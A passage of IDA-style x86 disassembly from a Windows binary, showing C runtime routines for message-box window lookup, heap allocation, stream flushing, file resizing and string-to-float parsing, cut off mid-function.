		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_45EAC8, eax
		call	esi ; dword_41F0B0
		mov	ds:dword_45EACC, eax


loc_41C7CD:				; CODE XREF: seg000:0041C789j
		mov	eax, ds:dword_45EAC8
		test	eax, eax
		jz	short loc_41C7EC
		call	eax ; dword_45EAC8
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41C7EC
		mov	eax, ds:dword_45EACC
		test	eax, eax
		jz	short loc_41C7EC
		push	ebx
		call	eax ; dword_45EACC
		mov	ebx, eax


loc_41C7EC:				; CODE XREF: seg000:0041C7D4j
					; seg000:0041C7DCj ...
		push	dword ptr [esp+18h]
		push	dword ptr [esp+18h]
		push	dword ptr [esp+18h]
		push	ebx
		call	ds:dword_45EAC4


loc_41C7FF:				; CODE XREF: seg000:0041C805j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C803:				; CODE XREF: seg000:0041C79Aj
					; seg000:0041C7B1j
		xor	eax, eax
		jmp	short loc_41C7FF

; =============== S U B	R O U T	I N E =======================================



sub_41C807	proc near		; CODE XREF: sub_41B166+22p
					; sub_41B166+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41C827
		test	esi, esi
		jnz	short loc_41C821
		push	1
		pop	esi


loc_41C821:				; CODE XREF: sub_41C807+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41C827:				; CODE XREF: sub_41C807+11j
					; sub_41C807+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41C858
		cmp	ebx, ds:dword_42D30C
		ja	short loc_41C843
		push	ebx
		call	sub_416EE3
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41C86E


loc_41C843:				; CODE XREF: sub_41C807+2Dj
		push	esi
		push	8
		push	ds:dword_45FE60
		call	ds:dword_41F140	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41C87A


loc_41C858:				; CODE XREF: sub_41C807+25j
		cmp	ds:dword_45E864, 0
		jz	short loc_41C87A
		push	esi
		call	sub_416AF8
		test	eax, eax
		pop	ecx
		jz	short loc_41C880
		jmp	short loc_41C827
; ---------------------------------------------------------------------------


loc_41C86E:				; CODE XREF: sub_41C807+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_413630
		add	esp, 0Ch


loc_41C87A:				; CODE XREF: sub_41C807+4Fj
					; sub_41C807+58j
		mov	eax, edi


loc_41C87C:				; CODE XREF: sub_41C807+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C880:				; CODE XREF: sub_41C807+63j
		xor	eax, eax
		jmp	short loc_41C87C
sub_41C807	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B20B


loc_41C884:				; CODE XREF: sub_41B20B+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_45FB00, esi
		jle	short loc_41C8D7


loc_41C893:				; CODE XREF: sub_41B20B+16CAj
		mov	eax, ds:dword_45EAF0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41C8CE
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41C8B2
		push	eax
		call	sub_413C00
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41C8B2
		inc	edi


loc_41C8B2:				; CODE XREF: sub_41B20B+1698j
					; sub_41B20B+16A4j
		cmp	esi, 14h
		jl	short loc_41C8CE
		mov	eax, ds:dword_45EAF0
		push	dword ptr [eax+esi*4]
		call	sub_413ED3
		mov	eax, ds:dword_45EAF0
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41C8CE:				; CODE XREF: sub_41B20B+1692j
					; sub_41B20B+16AAj
		inc	esi
		cmp	esi, ds:dword_45FB00
		jl	short loc_41C893


loc_41C8D7:				; CODE XREF: sub_41B20B+1686j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41B20B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8DC	proc near		; CODE XREF: sub_41B5EA+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_413E30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_45FC20
		jnb	loc_41CA11
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_45FB20[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41CA11
		push	1
		push	esi
		push	ebx
		call	sub_419C0F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41CA1B
		push	2
		push	esi
		push	ebx
		call	sub_419C0F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41CA1B
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41C9BE
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_413630
		push	8000h
		push	ebx
		call	sub_41D516
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41C972:				; CODE XREF: sub_41C8DC+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41C97D
		mov	eax, edi


loc_41C97D:				; CODE XREF: sub_41C8DC+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41A4BA
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C99B
		sub	edi, eax
		test	edi, edi
		jle	short loc_41C9B1
		jmp	short loc_41C972
; ---------------------------------------------------------------------------


loc_41C99B:				; CODE XREF: sub_41C8DC+B5j
		cmp	ds:dword_45E808, 5
		jnz	short loc_41C9AE
		mov	ds:dword_45E804, 0Dh


loc_41C9AE:				; CODE XREF: sub_41C8DC+C6j
		or	esi, 0FFFFFFFFh


loc_41C9B1:				; CODE XREF: sub_41C8DC+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D516
		pop	ecx
		pop	ecx
		jmp	short loc_41C9FE
; ---------------------------------------------------------------------------


loc_41C9BE:				; CODE XREF: sub_41C8DC+71j
		jge	short loc_41C9FE
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_419C0F
		push	ebx
		call	sub_41B556
		add	esp, 10h
		push	eax
		call	near ptr 0A70000h
		dec	ecx
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41C9FE
		mov	ds:dword_45E804, 0Dh
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_45E808, eax


loc_41C9FE:				; CODE XREF: sub_41C8DC+E0j
					; sub_41C8DC:loc_41C9BEj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_419C0F
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41CA1E
; ---------------------------------------------------------------------------


loc_41CA11:				; CODE XREF: sub_41C8DC+1Aj
					; sub_41C8DC+36j
		mov	ds:dword_45E804, 9


loc_41CA1B:				; CODE XREF: sub_41C8DC+4Ej
					; sub_41C8DC+63j
		or	eax, 0FFFFFFFFh


loc_41CA1E:				; CODE XREF: sub_41C8DC+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41C8DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA22	proc near		; CODE XREF: sub_41BA55+2Bp
					; sub_41BA55+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41CA38
		cmp	ecx, esi
		jnb	short loc_41CA3B


loc_41CA38:				; CODE XREF: sub_41CA22+10j
		push	1
		pop	eax


loc_41CA3B:				; CODE XREF: sub_41CA22+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41CA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA43	proc near		; CODE XREF: sub_41CAFC+40p
					; sub_41CAFC+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41CA22
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41CA75
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41CA22
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41CA75
		inc	dword ptr [esi+8]


loc_41CA75:				; CODE XREF: sub_41CA43+19j
					; sub_41CA43+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41CA22
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41CA8D
		inc	dword ptr [esi+8]


loc_41CA8D:				; CODE XREF: sub_41CA43+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41CA22
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41CA43	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CAA1	proc near		; CODE XREF: sub_41CAFC+30p
					; sub_41CAFC+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41CAA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CACF	proc near		; CODE XREF: sub_41D094+1C8p
					; sub_41D58C+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41CACF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAFC	proc near		; CODE XREF: sub_41CBC3+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41CB70
		push	edi
		mov	[ebp+arg_8], eax


loc_41CB23:				; CODE XREF: sub_41CAFC+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41CAA1
		push	ebx
		call	sub_41CAA1
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41CA43
		push	ebx
		call	sub_41CAA1
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41CA43
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41CB23
		xor	edx, edx
		pop	edi


loc_41CB70:				; CODE XREF: sub_41CAFC+21j
					; sub_41CAFC+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41CB9D
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41CB70
; ---------------------------------------------------------------------------


loc_41CB9D:				; CODE XREF: sub_41CAFC+77j
		mov	esi, 8000h


loc_41CBA2:				; CODE XREF: sub_41CAFC+B9j
		test	[ebx+8], esi
		jnz	short loc_41CBB7
		push	ebx
		call	sub_41CAA1
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41CBA2
; ---------------------------------------------------------------------------


loc_41CBB7:				; CODE XREF: sub_41CAFC+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41CAFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CBC3	proc near		; CODE XREF: sub_41BD9E+17p
					; sub_41BDCB+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41CBFE:				; CODE XREF: sub_41CBC3+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41CC14
		cmp	cl, 9
		jz	short loc_41CC14
		cmp	cl, 0Ah
		jz	short loc_41CC14
		cmp	cl, 0Dh
		jnz	short loc_41CC17


loc_41CC14:				; CODE XREF: sub_41CBC3+40j
					; sub_41CBC3+45j ...
		inc	edi
		jmp	short loc_41CBFE
; ---------------------------------------------------------------------------


loc_41CC17:				; CODE XREF: sub_41CBC3+4Fj
		push	4
		pop	esi


loc_41CC1A:				; CODE XREF: sub_41CBC3+AEj
					; sub_41CBC3+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41CE9D	; default
					; jumptable 0041CC26 case 10
		jmp	ds:off_41D064[eax*4] ; switch jump


loc_41CC2D:				; DATA XREF: seg000:off_41D064o
		cmp	bl, 31h		; jumptable 0041CC26 case 0
		jl	short loc_41CC3E
		cmp	bl, 39h
		jg	short loc_41CC3E


loc_41CC37:				; CODE XREF: sub_41CBC3+C4j
					; sub_41CBC3+118j
		push	3
		jmp	loc_41CE5B
; ---------------------------------------------------------------------------


loc_41CC3E:				; CODE XREF: sub_41CBC3+6Dj
					; sub_41CBC3+72j
		cmp	bl, ds:byte_42D300
		jnz	short loc_41CC4D


loc_41CC46:				; CODE XREF: sub_41CBC3+124j
		push	5
		jmp	loc_41CE93
; ---------------------------------------------------------------------------


loc_41CC4D:				; CODE XREF: sub_41CBC3+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41CC73
		dec	eax
		dec	eax
		jz	short loc_41CC67
		sub	eax, 3
		jnz	loc_41CF36
		jmp	loc_41CCF6
; ---------------------------------------------------------------------------


loc_41CC67:				; CODE XREF: sub_41CBC3+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41CC1A
; ---------------------------------------------------------------------------


loc_41CC73:				; CODE XREF: sub_41CBC3+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41CC1A
; ---------------------------------------------------------------------------


loc_41CC7C:				; CODE XREF: sub_41CBC3+63j
					; DATA XREF: seg000:off_41D064o
		cmp	bl, 31h		; jumptable 0041CC26 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41CC89
		cmp	bl, 39h
		jle	short loc_41CC37


loc_41CC89:				; CODE XREF: sub_41CBC3+BFj
		cmp	bl, ds:byte_42D300
		jz	loc_41CD51
		cmp	bl, 2Bh
		jz	short loc_41CCCB
		cmp	bl, 2Dh
		jz	short loc_41CCCB
		cmp	bl, 30h
		jz	short loc_41CCF6


loc_41CCA4:				; CODE XREF: sub_41CBC3+207j
		cmp	bl, 43h
		jle	loc_41CF36
		cmp	bl, 45h
		jle	short loc_41CCC4
		cmp	bl, 63h
		jle	loc_41CF36
		cmp	bl, 65h
		jg	loc_41CF36


loc_41CCC4:				; CODE XREF: sub_41CBC3+EDj
		push	6
		jmp	loc_41CE93
; ---------------------------------------------------------------------------


loc_41CCCB:				; CODE XREF: sub_41CBC3+D5j
					; sub_41CBC3+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41CE93
; ---------------------------------------------------------------------------


loc_41CCD3:				; CODE XREF: sub_41CBC3+63j
					; DATA XREF: seg000:off_41D064o
		cmp	bl, 31h		; jumptable 0041CC26 case 2
		jl	short loc_41CCE1
		cmp	bl, 39h
		jle	loc_41CC37


loc_41CCE1:				; CODE XREF: sub_41CBC3+113j
		cmp	bl, ds:byte_42D300
		jz	loc_41CC46
		cmp	bl, 30h
		jnz	loc_41CEAB


loc_41CCF6:				; CODE XREF: sub_41CBC3+9Fj
					; sub_41CBC3+DFj
		mov	eax, edx
		jmp	loc_41CC1A
; ---------------------------------------------------------------------------


loc_41CCFD:				; CODE XREF: sub_41CBC3+63j
					; DATA XREF: seg000:off_41D064o
		mov	[ebp+var_10], edx ; jumptable 0041CC26 case 3


loc_41CD00:				; CODE XREF: sub_41CBC3+184j
		cmp	ds:dword_42D2FC, edx
		jle	short loc_41CD19
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_4165E6
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41CD27
; ---------------------------------------------------------------------------


loc_41CD19:				; CODE XREF: sub_41CBC3+143j
		mov	ecx, ds:off_42D0F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41CD27:				; CODE XREF: sub_41CBC3+154j
		test	eax, eax
		jz	short loc_41CD49
		cmp	[ebp+var_4], 19h
		jnb	short loc_41CD41
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41CD44
; ---------------------------------------------------------------------------


loc_41CD41:				; CODE XREF: sub_41CBC3+16Cj
		inc	[ebp+var_8]


loc_41CD44:				; CODE XREF: sub_41CBC3+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CD00
; ---------------------------------------------------------------------------


loc_41CD49:				; CODE XREF: sub_41CBC3+166j
		cmp	bl, ds:byte_42D300
		jnz	short loc_41CDB8


loc_41CD51:				; CODE XREF: sub_41CBC3+CCj
		mov	eax, esi
		jmp	loc_41CC1A
; ---------------------------------------------------------------------------


loc_41CD58:				; CODE XREF: sub_41CBC3+63j
					; DATA XREF: seg000:off_41D064o
		cmp	[ebp+var_4], 0	; jumptable 0041CC26 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41CD71


loc_41CD64:				; CODE XREF: sub_41CBC3+1ACj
		cmp	bl, 30h
		jnz	short loc_41CD71
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CD64
; ---------------------------------------------------------------------------


loc_41CD71:				; CODE XREF: sub_41CBC3+19Fj
					; sub_41CBC3+1A4j ...
		cmp	ds:dword_42D2FC, edx
		jle	short loc_41CD8A
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_4165E6
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41CD98
; ---------------------------------------------------------------------------


loc_41CD8A:				; CODE XREF: sub_41CBC3+1B4j
		mov	ecx, ds:off_42D0F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41CD98:				; CODE XREF: sub_41CBC3+1C5j
		test	eax, eax
		jz	short loc_41CDB8
		cmp	[ebp+var_4], 19h
		jnb	short loc_41CDB3
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41CDB3:				; CODE XREF: sub_41CBC3+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CD71
; ---------------------------------------------------------------------------


loc_41CDB8:				; CODE XREF: sub_41CBC3+18Cj
					; sub_41CBC3+1D7j
		cmp	bl, 2Bh
		jz	loc_41CCCB
		cmp	bl, 2Dh
		jz	loc_41CCCB
		jmp	loc_41CCA4
; ---------------------------------------------------------------------------


loc_41CDCF:				; CODE XREF: sub_41CBC3+63j
					; DATA XREF: seg000:off_41D064o
		cmp	ds:dword_42D2FC, edx ; jumptable 0041CC26 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41CDEB
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_4165E6
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41CDF9
; ---------------------------------------------------------------------------


loc_41CDEB:				; CODE XREF: sub_41CBC3+215j
		mov	ecx, ds:off_42D0F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41CDF9:				; CODE XREF: sub_41CBC3+226j
		test	eax, eax
		jz	loc_41CEAB
		mov	eax, esi
		jmp	short loc_41CE5C
; ---------------------------------------------------------------------------


loc_41CE05:				; CODE XREF: sub_41CBC3+63j
					; DATA XREF: seg000:off_41D064o
		lea	ecx, [edi-2]	; jumptable 0041CC26 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41CE15
		cmp	bl, 39h
		jle	short loc_41CE59


loc_41CE15:				; CODE XREF: sub_41CBC3+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41CE91
		dec	eax
		dec	eax
		jz	short loc_41CE85
		sub	eax, 3
		jnz	loc_41CF39


loc_41CE2A:				; CODE XREF: sub_41CBC3+2A4j
		push	8
		jmp	short loc_41CE93
; ---------------------------------------------------------------------------


loc_41CE2E:				; CODE XREF: sub_41CBC3+63j
					; DATA XREF: seg000:off_41D064o
		mov	[ebp+var_20], edx ; jumptable 0041CC26 case 8


loc_41CE31:				; CODE XREF: sub_41CBC3+276j
		cmp	bl, 30h
		jnz	short loc_41CE3B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CE31
; ---------------------------------------------------------------------------


loc_41CE3B:				; CODE XREF: sub_41CBC3+271j
		cmp	bl, 31h
		jl	loc_41CF36
		cmp	bl, 39h
		jg	loc_41CF36
		jmp	short loc_41CE59
; ---------------------------------------------------------------------------


loc_41CE4F:				; CODE XREF: sub_41CBC3+63j
					; DATA XREF: seg000:off_41D064o
		cmp	bl, 31h		; jumptable 0041CC26 case 7
		jl	short loc_41CE62
		cmp	bl, 39h
		jg	short loc_41CE62


loc_41CE59:				; CODE XREF: sub_41CBC3+250j
					; sub_41CBC3+28Aj
		push	9


loc_41CE5B:				; CODE XREF: sub_41CBC3+76j
		pop	eax


loc_41CE5C:				; CODE XREF: sub_41CBC3+240j
		dec	edi
		jmp	loc_41CC1A
; ---------------------------------------------------------------------------


loc_41CE62:				; CODE XREF: sub_41CBC3+28Fj
					; sub_41CBC3+294j
		cmp	bl, 30h
		jnz	short loc_41CEAB
		jmp	short loc_41CE2A
; ---------------------------------------------------------------------------


loc_41CE69:				; CODE XREF: sub_41CBC3+63j
					; DATA XREF: seg000:off_41D064o
		cmp	[ebp+arg_18], 0	; jumptable 0041CC26 case 11
		jz	short loc_41CE99
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41CE91
		dec	eax
		dec	eax
		jnz	loc_41CF39


loc_41CE85:				; CODE XREF: sub_41CBC3+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41CC1A
; ---------------------------------------------------------------------------


loc_41CE91:				; CODE XREF: sub_41CBC3+258j
					; sub_41CBC3+2B8j
		push	7


loc_41CE93:				; CODE XREF: sub_41CBC3+85j
					; sub_41CBC3+103j ...
		pop	eax
		jmp	loc_41CC1A
; ---------------------------------------------------------------------------


loc_41CE99:				; CODE XREF: sub_41CBC3+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41CE9D:				; CODE XREF: sub_41CBC3+5Dj
					; sub_41CBC3+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041CC26 case 10
		jz	loc_41CF3B
		jmp	loc_41CC1A
; ---------------------------------------------------------------------------


loc_41CEAB:				; CODE XREF: sub_41CBC3+12Dj
					; sub_41CBC3+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41CF3B
; ---------------------------------------------------------------------------


loc_41CEB3:				; CODE XREF: sub_41CBC3+63j
					; DATA XREF: seg000:off_41D064o
		mov	[ebp+var_20], 1	; jumptable 0041CC26 case 9
		xor	esi, esi


loc_41CEBC:				; CODE XREF: sub_41CBC3+339j
		cmp	ds:dword_42D2FC, 1
		jle	short loc_41CED4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_41CEE3
; ---------------------------------------------------------------------------


loc_41CED4:				; CODE XREF: sub_41CBC3+300j
		mov	ecx, ds:off_42D0F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41CEE3:				; CODE XREF: sub_41CBC3+30Fj
		test	eax, eax
		jz	short loc_41CF03
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41CEFE
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------


loc_41CEFE:				; CODE XREF: sub_41CBC3+334j
		mov	esi, 1451h


loc_41CF03:				; CODE XREF: sub_41CBC3+322j
		mov	[ebp+var_1C], esi


loc_41CF06:				; CODE XREF: sub_41CBC3+371j
		cmp	ds:dword_42D2FC, 1
		jle	short loc_41CF1E
		movzx	eax, bl
		push	4
		push	eax
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_41CF2D
; ---------------------------------------------------------------------------


loc_41CF1E:				; CODE XREF: sub_41CBC3+34Aj
		mov	ecx, ds:off_42D0F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41CF2D:				; CODE XREF: sub_41CBC3+359j
		test	eax, eax
		jz	short loc_41CF36
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CF06
; ---------------------------------------------------------------------------


loc_41CF36:				; CODE XREF: sub_41CBC3+99j
					; sub_41CBC3+E4j ...
		dec	edi
		jmp	short loc_41CF3B
; ---------------------------------------------------------------------------


loc_41CF39:				; CODE XREF: sub_41CBC3+261j
					; sub_41CBC3+2BCj
		mov	edi, ecx


loc_41CF3B:				; CODE XREF: sub_41CBC3+2DDj
					; sub_41CBC3+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41D023
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41CF67
		cmp	[ebp+var_45], 5
		jl	short loc_41CF5B
		inc	[ebp+var_45]


loc_41CF5B:				; CODE XREF: sub_41CBC3+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41CF6A
; ---------------------------------------------------------------------------


loc_41CF67:				; CODE XREF: sub_41CBC3+38Dj
		mov	eax, [ebp+var_C]


loc_41CF6A:				; CODE XREF: sub_41CBC3+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41D019


loc_41CF74:				; CODE XREF: sub_41CBC3+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41CF82
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41CF74
; ---------------------------------------------------------------------------


loc_41CF82:				; CODE XREF: sub_41CBC3+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
